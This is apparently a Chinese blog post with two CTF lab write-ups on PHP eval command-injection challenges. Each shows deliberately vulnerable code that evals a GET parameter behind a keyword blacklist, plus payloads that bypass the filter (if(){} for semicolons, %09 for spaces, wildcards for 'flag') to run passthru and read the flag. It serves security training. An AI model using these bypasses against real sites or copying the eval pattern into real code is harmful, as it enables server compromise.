有回显代码执行-分号和下划线绕过

8 篇文章 0 订阅
7 篇文章 0 订阅

[题目信息]:

题目名称题目难度
有回显代码执行-分号和下划线绕过1

[题目考点]:

远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。

以下是可能会造成任意命令执行的函数

system|passthru|exec|popen|proc_open|move_uploaded_file|eval|copy|shell_exec|assert

[Flag格式]:

SangFor{1K7BysNwDaR194srIngQhykMKTKu4RZv}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:5010

[题目writeup]:

1、实验主页

2、使用dirsearch扫描网站目录

python dirsearch.py -u http://分配ip/ -e php -t 20

flag.php文件存在。

3、代码分析

<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
if(isset($_GET['c'])){
  $c = $_GET['c'];
  if(!preg_match("/flag|system|cat|sort|shell|\_|\.| |\'|\`|echo|\;/i", $c)){
    eval($c);
  }
}
else{
  highlight_file(__FILE__);

}

eval — 把字符串作为PHP代码执行;

由于过滤了下划线“_”无法使用,同时也过滤了分号‘“’;因为php语言中每一行代码需要以分号结尾。但可以使用php语言中,if(){}或者while{}语句绕过分号限制;

空格可以使用%09绕过,flag以及点好”.“可以使用星号”*“绕过;

【payload】

c=if(passthru("tac%09fla*")){}






[题目信息]:

题目名称题目难度
有回显代码执行-关键字绕过(训练题03)1

[题目考点]:

远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。

以下是可能会造成任意命令执行的函数

system|passthru|exec|popen|proc_open|move_uploaded_file|eval|copy|shell_exec|assert

[Flag格式]:

SangFor{ejE-EultrEpfzvvOvSUCU_St_BXeJwJL}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:5008

[题目writeup]:

1、实验主页

2、使用dirsearch扫描网站目录

python dirsearch.py -u http://分配ip/ -e php -t 20

未找到flag.php文件;

3、代码分析

 <?PHP
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }

}else{
highlight_file(FILE);
}
?>

eval — 把字符串作为PHP代码执行;

填入的内容:?c=passthru(“ls”);

最后分号满足php代码格式;

可以利用上题中的各种方式尝试绕过;

【payload】

?c=passthru("find%09/%09-name%09fl*");#搜索flag文件
?c=passthru("tac%09/fl?g");

  • 3
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值